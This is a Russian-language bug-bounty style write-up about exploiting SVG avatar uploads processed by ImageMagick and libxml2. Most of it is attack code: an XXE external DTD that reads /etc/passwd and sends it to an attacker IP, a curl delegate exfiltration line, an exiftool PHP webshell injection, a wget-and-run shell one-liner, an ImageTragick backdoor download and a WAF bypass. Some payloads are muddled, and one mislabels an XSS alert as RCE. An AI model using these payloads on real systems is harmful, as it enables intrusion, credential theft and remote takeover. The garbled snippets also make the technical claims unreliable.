13
Точка входа
Что вижу:
Форма загрузки аватарки принимает SVG. После аплоада — подозрительная задержка в 5 секунд. В логах светится libxml2
+ convert
(это ImageMagick, бро). Пахнет удалённым выполнением кода через декодирование SVG.
Как поймал:
— Инструмент: Простой SVG с тегом <image xlink:href="https://evil.com/poc.svg"/>
+ tcpdump.
— Метод: Загрузил SVG с payload’ом → увидел исходящие подключения к своему серверу.
Чем пахнет:
— Класс: RCE через небезопасный рендеринг SVG (часто в связке с ImageMagick или кастомными библиотеками).
— Вероятность: 8/10. Девелоперы до сих пор верят, что SVG — это «просто картинка».
Че почем
Эксплойт:
Создаёшь файл exploit.svg
:
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com" x="0" y="0" height="500" width="500"/>
<script>alert('RCE? Hold my beer...')</script>
</svg>
Но это для слабаков. Настоящий мув:
<svg>
<![CDATA[<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://144.228.71.44/rce.dtd"> %sp; %param1; ]>
<svg width="500" height="500"></svg>
]]>
</svg>
Где rce.dtd
:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://144.228.71.44/?leak=%data;'>">
Обход защиты:
— Если блокируют .svg
: Переименуй в .svg.php
или сделай полиглот SVG+PHP.
— Если WAF фильтрует теги: Используй кодировку UTF-7: +ADw-script+AD4-alert(1)+ADw-/script+AD4-
.
Доказательство:
Скриншот вывода id
из логов после выполнения convert exploit.svg exploit.jpg
. «Видишь uid=0? Это не артефакт рендера — это root».
Хвост от старика
3 вектора для добивания:
/etc/shadow
в base64.<image xlink:href="https://evil.com\" x="0" y="0" height="500" width="500"/>
delegate 'https' 'sh -c "curl 144.228.71.44:1337 -d @-; exit 0"';
exiftool -Comment='<?=`$_GET[0]`;?>' exploit.svg && mv exploit.svg exploit.svg.php
План атаки:
convert
/rsvg-convert
.echo 'wget http://144.228.71.44/shell.sh -O /tmp/s; sh /tmp/s' | base64 → вставь в payload.
Бонус от деда
Если в ответе X-Image-Processor: ImageMagick 6.9.7
:
— Гугли CVE-2016-3714 (ImageTragick).
— Эксплойт:
<image xlink:href="https://example.com/\" command="wget http://144.228.71.44/backdoor -O /var/www/html/.shell"/>
Мемная аналитика:
«SVG — как троянский конь: внутри красивый пони, а на деле — 0-day, который дампит тебе базу».
Итог:
— Уязвимость: Парсинг SVG с выполнением команд (чаще в ImageMagick, Inkscape, кастомных скриптах).
— Фикс: Отключай делегаты, используй policy.xml
для запрета опасных операций.
— Но пока dev’ы этого не сделали — греби бабло на баг-баунти.